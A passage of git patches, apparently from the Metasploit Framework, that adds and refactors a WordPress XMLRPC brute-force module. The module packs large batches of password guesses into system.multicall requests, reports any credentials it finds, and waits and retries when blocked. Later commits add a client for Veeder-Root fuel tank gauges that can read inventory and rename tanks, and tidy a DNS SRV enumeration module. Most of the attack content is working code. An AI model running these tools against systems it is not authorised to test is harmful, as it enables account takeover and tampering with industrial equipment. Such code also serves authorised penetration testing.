enable XMLRPC") + :abort + else + print_status("Target #{peer} is running Wordpress") + end + end + + def parse_response(res) + + resp.scan(/Incorrect username or password/) + + end + + def run + check_wpstatus + + usernames.each do |user| + passfound = false + + print_status("Bruteforcing user: #{user}") + generate_xml(user).each do |xml| + break if passfound == true + + opts = + { + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + request = client.request_cgi(opts) + response = client.send_recv(request) + + # Request Parser + req_xml = Nokogiri::Slop xml + # Request length + # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size + # print_status("Totla number of combinations: #{total_req}") + + # Response Parser + res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join + + begin + res_xml.document.methodResponse.params.param.value.array.data.value.each_with_index do |value, i| + begin + # If this gives exception then its the correct password + value.struct.member[1].value.string.text + rescue + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + + print_good("Credentials Found! #{user}:#{pass}") + passfound = true + end end + rescue NoMethodError + print_error("It seems you got blocked!") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + sleep 6 * 60 + retry + # return :abort + end + print_status('Taking a nap for 2 seconds..') + sleep 2 + end end end + +end + From b571a79b6983e46474e101adae7bc107a0b94d7a Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 17:37:06 +0300 Subject: [PATCH 1142/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index f8146b2fbf..d627769fc5 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = "" + xml = '' # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation passwords.each_slice(1500) do |pass_group| @@ -113,9 +113,7 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) - resp.scan(/Incorrect username or password/) - end def run @@ -143,10 +141,6 @@ class Metasploit3 < Msf::Auxiliary # Request Parser req_xml = Nokogiri::Slop xml - # Request length - # total_req = req_xml.document.methodCall.params.param.value.array.data.value.size - # print_status("Totla number of combinations: #{total_req}") - # Response Parser res_xml = Nokogiri::Slop response.to_s.scan(/<.*>/).join @@ -164,7 +158,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort From 745738f065153c887203cd807a6de5490027035e Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 18:23:15 +0300 Subject: [PATCH 1143/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../http/wordpress_xmlrpc_massive_bruteforce.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index d627769fc5..bafdd49d3e 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( @@ -17,8 +17,8 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE, 'Author' => [ - 'Sabri (@KINGSABRI)', # MSF module - 'William (WCoppola@Lares.com)' # Requester + 'William (WCoppola@Lares.com)', + 'Sabri (@KINGSABRI)' ], 'References' => [ @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) ], self.class) @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Auxiliary print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs - xml = '' - # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + xml = "" + # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| xml = "<?xml version=\"1.0\"?>\n" @@ -113,7 +113,9 @@ class Metasploit3 < Msf::Auxiliary end def parse_response(res) + resp.scan(/Incorrect username or password/) + end def run @@ -158,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary end end rescue NoMethodError print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") + print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") sleep 6 * 60 retry # return :abort @@ -168,4 +170,3 @@ class Metasploit3 < Msf::Auxiliary end end end end - From d19942eae31913cef93fde4a9e280fe398bfc982 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 19:04:33 +0300 Subject: [PATCH 1144/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) fix --- .../scanner/http/wordpress_xmlrpc_massive_bruteforce.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index bafdd49d3e..4b9b2ef0be 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( info, - 'Name' => 'Massive WordPress bruteforce via XMLRPC', - 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, 'License' => MSF_LICENSE, 'Author' => [ @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary [ ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ], - 'DisclosureDate' => '2015' + ] )) register_options( From 91867d344b406339cb46b587ede0282f225c85fc Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Tue, 10 Nov 2015 22:33:37 +0300 Subject: [PATCH 1145/2172] Refactoring.. --- .../wordpress_xmlrpc_massive_bruteforce.rb | 147 +++++++++--------- 1 file changed, 72 insertions(+), 75 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 4b9b2ef0be..367878cbe2 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -11,35 +11,36 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( - info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce ', - 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'William (WCoppola@Lares.com)', - 'Sabri (@KINGSABRI)' - ], - 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + info, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( [ - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) ], self.class) register_advanced_options( [ - OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), - OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) ], self.class) end @@ -51,72 +52,70 @@ class Metasploit3 < Msf::Auxiliary File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} end - def generate_xml user + def generate_xml(user) - print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs xml = "" # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| - xml = "<?xml version=\"1.0\"?>\n" - xml << "<methodCall>\n" - xml << "<methodName>system.multicall</methodName>\n" - xml << "<params>\n" - xml << " <param><value><array><data>\n" - pass_group.each do |pass| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { - xml << " <value><struct>\n" - xml << " <member>\n" - xml << " <name>methodName</name>\n" - xml << " <value><string>wp.getUsersBlogs</string></value>\n" - xml << " </member>\n" - xml << " <member>\n" - xml << " <name>params</name><value><array><data>\n" - xml << " <value><array><data>\n" - xml << " <value><string>#{user}</string></value>\n" - xml << " <value><string>#{pass}</string></value>\n" - xml << " </data></array></value>\n" - xml << " </data></array></value>\n" - xml << " </member>\n" - xml << " </struct></value>\n" + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} end - xml << " </data></array></value></param>\n" - xml << "</params>\n" - xml << "</methodCall>" - xml_payloads << xml + xml_payloads << document.to_xml end - print_status('Generating XMLs just done.') - return xml_payloads + vprint_status('Generating XMLs just done.') + xml_payloads end + # # Check target status # def check_wpstatus print_status("Checking #{peer} status!") - case - when !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") - :abort - when !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") - :abort - else - print_status("Target #{peer} is running Wordpress") + if !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + return + elsif !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + return + else + print_status("Target #{peer} is running Wordpress") end end - def parse_response(res) - - resp.scan(/Incorrect username or password/) - - end - def run check_wpstatus @@ -129,10 +128,10 @@ class Metasploit3 < Msf::Auxiliary opts = { - 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, - 'data' => xml, - 'ctype' =>'text/xml' + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' } client = Rex::Proto::Http::Client.new(rhost) @@ -151,20 +150,18 @@ class Metasploit3 < Msf::Auxiliary # If this gives exception then its the correct password value.struct.member[1].value.string.text rescue - user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text - pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text.strip + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text.strip - print_good("Credentials Found! #{user}:#{pass}") + print_good("Credentials Found! #{user}:#{pass}") passfound = true end end rescue NoMethodError - print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") - sleep 6 * 60 + print_error('It seems you got blocked!') + print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes then I'll try again. CTR+C to exit") + sleep datastore['BLOCKEDWAIT'] * 60 retry - # return :abort end - print_status('Taking a nap for 2 seconds..') sleep 2 end end end From 97caf1d084b24b12e201fba5c9e4a1a3f006275b Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 13:15:08 -0800 Subject: [PATCH 1146/2172] Add preliminary module for interacting with Veeder-Root ATGs --- modules/auxiliary/admin/atg/client.rb | 108 ++++++++++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 modules/auxiliary/admin/atg/client.rb diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb new file mode 100644 index 0000000000..a8b34cc9dc --- /dev/null +++ b/modules/auxiliary/admin/atg/client.rb @@ -0,0 +1,108 @@ +## +# encoding: utf-8 +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Veeder-Root Automatic Tank Gauge (ATG) Administrative Client', + 'Description' => %q{ + This module acts as a simplistic administrative client for interfacing + with Veeder-Root Automatic Tang Gauges (ATGs) or other devices speaking + the TLS-250 and TLS-350 protocols. + }, + 'Author' => + [ + 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'] + ], + 'DefaultAction' => 'INVENTORY', + 'Actions' => + [ + [ 'DELIVERY', + { + 'Description' => 'I20200 Delivery report', + 'TLS-350_CMD' => "\x01I20200" + } + ], + [ 'INVENTORY', + { + 'Description' => 'I20100 In-tank inventory report', + 'TLS-250_CMD' => "\x01200", + 'TLS-350_CMD' => "\x01I20100" + } + ], + [ 'LEAK', + { + 'Description' => 'I20300 Leak report', + 'TLS-350_CMD' => "\x01I20300" + } + ], + [ 'SHIFT', + { + 'Description' => 'I20400 Shift report', + 'TLS-350_CMD' => "\x01I20400" + } + ], + [ 'STATUS', + { + 'Description' => 'I20500 In-tank status report', + 'TLS-350_CMD' => "\x01I20500" + } + ], + [ 'VERSION', + { + 'Description' => 'Version information', + 'TLS-250_CMD' => "\x01980", + 'TLS-350_CMD' => "\x01I90200" + } + ] + ] + ) + + register_options( + [ + Opt::RPORT(10001) + ], + self.class + ) + deregister_options('SSL', 'SSLCipher', 'SSLVerifyMode', 'SSLVersion') + + register_advanced_options( + [ + OptEnum.new('PROTOCOL', [true, 'The Veeder-Root TLS protocol to speak', 'TLS-350', %w(TLS-350 TLS-250)]) + ], + self.class + ) + end + + def setup + proto_cmd = datastore['PROTOCOL'] + "_CMD" + fail "#{action.name} not defined for #{datastore['PROTOCOL']}" unless action.opts.keys.include?(proto_cmd) + end + + def peer + "#{rhost}:#{rport}" + end + + def run_host(_host) + begin + connect + sock.put(action.opts[datastore['PROTOCOL'] + '_CMD']) + print_status("#{peer}:\n#{sock.get_once}") + ensure + disconnect + end + end +end From 9def67831c8689bd58000090505dea45a3fb91d7 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 13:20:45 -0800 Subject: [PATCH 1147/2172] Better printing --- modules/auxiliary/admin/atg/client.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index a8b34cc9dc..938cce76ef 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -100,7 +100,7 @@ class Metasploit3 < Msf::Auxiliary begin connect sock.put(action.opts[datastore['PROTOCOL'] + '_CMD']) - print_status("#{peer}:\n#{sock.get_once}") + print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") ensure disconnect end From 7c9b85551b5f638b1878d7952f8137372d0be9e8 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 14:24:11 -0800 Subject: [PATCH 1148/2172] Support for setting ATG tank names --- modules/auxiliary/admin/atg/client.rb | 48 ++++++++++++++++++++++++--- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 938cce76ef..f054c3d4cf 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -55,6 +55,12 @@ class Metasploit3 < Msf::Auxiliary 'TLS-350_CMD' => "\x01I20400" } ], + [ 'SET_TANK_NAME', + { + 'Description' => 'S6020 set tank name', + 'TLS-350_CMD' => "\x01S6020" + } + ], [ 'STATUS', { 'Description' => 'I20500 In-tank status report', @@ -73,7 +79,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - Opt::RPORT(10001) + Opt::RPORT(10001), + OptInt.new('TANK_NUMBER', [false, 'The tank number to operate on (use with SET_TANK_NAME, 0 to change all)', 1]), + OptString.new('TANK_NAME', [false, 'The tank name to set (use with SET_TANK_NAME), defaults to random']) ], self.class ) @@ -88,8 +96,26 @@ class Metasploit3 < Msf::Auxiliary end def setup - proto_cmd = datastore['PROTOCOL'] + "_CMD" - fail "#{action.name} not defined for #{datastore['PROTOCOL']}" unless action.opts.keys.include?(proto_cmd) + # ensure that the specified command is implemented for the desired version of the TLS protocol + proto_cmd = protocol + "_CMD" + fail "#{action.name} not defined for #{protocol}" unless action.opts.keys.include?(proto_cmd) + + # ensure that the tank number is set for the commands that need it + if action.name == 'SET_TANK_NAME' + fail "TANK_NUMBER #{tank_number} is invalid" if tank_number < 0 + end + end + + def protocol + datastore['PROTOCOL'] + end + + def tank_name + @tank_name ||= (datastore['TANK_NAME'] ? datastore['TANK_NAME'] : Rex::Text.rand_text_alpha(16)) + end + + def tank_number + datastore['TANK_NUMBER'] end def peer @@ -99,8 +125,20 @@ class Metasploit3 < Msf::Auxiliary def run_host(_host) begin connect - sock.put(action.opts[datastore['PROTOCOL'] + '_CMD']) - print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") + case action.name + when 'SET_TANK_NAME' + vprint_status("#{peer} -- setting tank ##{tank_number} to #{tank_name}") + request = action.opts[protocol + '_CMD'] + "#{tank_number}#{tank_name}" + sock.puts(request) + disconnect + connect + sock.puts(actions.select { |a| a.name == 'INVENTORY' }.first.opts[protocol + '_CMD']) + print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") + else + request = action.opts[datastore['PROTOCOL'] + '_CMD'] + sock.puts(request) + print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") + end ensure disconnect end From 4f4e4c734a73806a57ce7015366806e181b2b7d2 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 14:36:59 -0800 Subject: [PATCH 1149/2172] Handle ATGs w/ > 10 tanks, more strict --- modules/auxiliary/admin/atg/client.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index f054c3d4cf..e82812cde4 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -57,8 +57,8 @@ class Metasploit3 < Msf::Auxiliary ], [ 'SET_TANK_NAME', { - 'Description' => 'S6020 set tank name', - 'TLS-350_CMD' => "\x01S6020" + 'Description' => 'S602 set tank name', + 'TLS-350_CMD' => "\x01S602" } ], [ 'STATUS', @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Auxiliary # ensure that the tank number is set for the commands that need it if action.name == 'SET_TANK_NAME' - fail "TANK_NUMBER #{tank_number} is invalid" if tank_number < 0 + fail "TANK_NUMBER #{tank_number} is invalid" if tank_number < 0 || tank_number > 99 end end @@ -128,15 +128,15 @@ class Metasploit3 < Msf::Auxiliary case action.name when 'SET_TANK_NAME' vprint_status("#{peer} -- setting tank ##{tank_number} to #{tank_name}") - request = action.opts[protocol + '_CMD'] + "#{tank_number}#{tank_name}" - sock.puts(request) + request = action.opts[protocol + '_CMD'] + "#{'%02d' % tank_number}#{tank_name}\n" + sock.put(request) disconnect connect - sock.puts(actions.select { |a| a.name == 'INVENTORY' }.first.opts[protocol + '_CMD']) + sock.put(actions.select { |a| a.name == 'INVENTORY' }.first.opts[protocol + '_CMD'] + "\n") print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") else - request = action.opts[datastore['PROTOCOL'] + '_CMD'] - sock.puts(request) + request = action.opts[datastore['PROTOCOL'] + '_CMD'] + "\n" + sock.put(request) print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") end ensure From dac7738f2935f26949d6e3c30e63d6dc4ba87e1f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 14:43:06 -0800 Subject: [PATCH 1150/2172] Clean up description; add more refs --- modules/auxiliary/admin/atg/client.rb | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index e82812cde4..2bbc1ba6bb 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -17,16 +17,21 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module acts as a simplistic administrative client for interfacing with Veeder-Root Automatic Tang Gauges (ATGs) or other devices speaking - the TLS-250 and TLS-350 protocols. - }, + the TLS-250 and TLS-350 protocols. This has been tested against + GasPot, a honeypot meant to simulate ATGs; it has not been tested + against anything else, so use at your own risk. + }, 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' # original metasploit module ], 'License' => MSF_LICENSE, - 'References' => [ - ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'] - ], + 'References' => + [ + ['URL', 'http://www.veeder.com/us/automatic-tank-gauge-atg-consoles'], + ['URL', 'https://github.com/sjhilt/GasPot'], + ['URL', 'https://community.rapid7.com/community/infosec/blog/2015/01/22/the-internet-of-gas-station-tank-gauges'] + ], 'DefaultAction' => 'INVENTORY', 'Actions' => [ From e98570cbd1ea1e239e1186e7efbff4c6770c83ba Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Tue, 10 Nov 2015 16:38:56 -0600 Subject: [PATCH 1151/2172] Clean up module --- modules/auxiliary/gather/dns_srv_enum.rb | 28 ++++++++++++------------ 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 0502b0a685..9c4c4b78b6 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -12,33 +12,33 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Common Service Record Enumeration', + 'Name' => 'DNS Common Service Record Enumeration', 'Description' => %q{ This module enumerates common DNS service records in a given domain. By setting the ALL_DNS to true, all the name servers of a given domain are used for enumeration. Otherwise only the system dns is used for enumration. in order to get all the available name servers for the given domain the SOA and NS records are queried. In order to convert from domain names to IP addresses queries for A and - AAAA (IPv6) records are used. - Especially for active directory, it is possible to specify sites. + AAAA (IPv6) records are used. For Active Directory, it is possible to specify sites. }, - 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>', # First and main. - 'Fabrice RAFART' # patch 20150915 (mainly change for AD and report). - ], - 'License' => BSD_LICENSE - )) + 'Author' => [ + 'Carlos Perez <carlos_perez[at]darkoperator.com>', # First and main. + 'Fabrice RAFART' # mainly change for AD and report. + ], + 'License' => BSD_LICENSE + )) register_options( [ - OptString.new('DOMAIN', [ true, "The target domain name."]), - OptString.new('SITES', [ false, "The active directory sites names to test (separate by comma)."]), - OptBool.new( 'ALL_NS', [ false, "Run against all name servers for the given domain.",false]) + OptString.new('DOMAIN', [true, "The target domain name."]), + OptString.new('SITES', [false, "The Active Directory site names to test (comma-separated)."]), + OptBool.new('ALL_NS', [false, "Run against all name servers for the given domain.", false]) ], self.class) register_advanced_options( [ - OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received.", 2]), - OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]) + OptInt.new('RETRY', [false, "Number of times to try to resolve a record if no response is received.", 2]), + OptInt.new('RETRY_INTERVAL', [false, "Number of seconds to wait before doing a retry.", 2]) ], self.class) end @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary :host_name => r[:host] ) report_note( - :type => "SRV record", + :type => 'SRV record', :host => r[:address].to_s, :port => r[:port].to_i, :proto => r[:proto], From 143ac474849f7d5f38f5b5b2664a942b9c4f93a8 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 10 Nov 2015 14:47:12 -0800 Subject: [PATCH 1152/2172] Minor style cleanup --- modules/auxiliary/admin/atg/client.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/atg/client.rb b/modules/auxiliary/admin/atg/client.rb index 2bbc1ba6bb..19c7e47b4b 100644 --- a/modules/auxiliary/admin/atg/client.rb +++ b/modules/auxiliary/admin/atg/client.rb @@ -106,9 +106,7 @@ class Metasploit3 < Msf::Auxiliary fail "#{action.name} not defined for #{protocol}" unless action.opts.keys.include?(proto_cmd) # ensure that the tank number is set for the commands that need it - if action.name == 'SET_TANK_NAME' - fail "TANK_NUMBER #{tank_number} is invalid" if tank_number < 0 || tank_number > 99 - end + fail "TANK_NUMBER #{tank_number} is invalid" if action.name == 'SET_TANK_NAME' && (tank_number < 0 || tank_number > 99) end def protocol @@ -133,11 +131,11 @@ class Metasploit3 < Msf::Auxiliary case action.name when 'SET_TANK_NAME' vprint_status("#{peer} -- setting tank ##{tank_number} to #{tank_name}") - request = action.opts[protocol + '_CMD'] + "#{'%02d' % tank_number}#{tank_name}\n" + request = action.opts[protocol + '_CMD'] + "#{format('%02d', tank_number)}#{tank_name}\n" sock.put(request) disconnect connect - sock.put(actions.select { |a| a.name == 'INVENTORY' }.first.opts[protocol + '_CMD'] + "\n") + sock.put(actions.find { |a| a.name == 'INVENTORY' }.opts[protocol + '_CMD'] + "\n") print_status("#{peer} #{datastore['PROTOCOL']} #{action.opts['Description']}:\n#{sock.get_once}") else request = action.opts[datastore['PROTOCOL'] + '_CMD'] + "\n" From a9fe09497e072bdd4b7bc2010df8085323937651 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Tue, 10 Nov 2015 16:47:29 -0600 Subject: [PATCH 1153/2172] Fix hard tabs Mixing tabs and spaces? Seriously? --- modules/auxiliary/gather/dns_srv_enum.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 9c4c4b78b6..31866fb56a 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Common Service Record Enumeration', - 'Description' => %q{ + 'Name' => 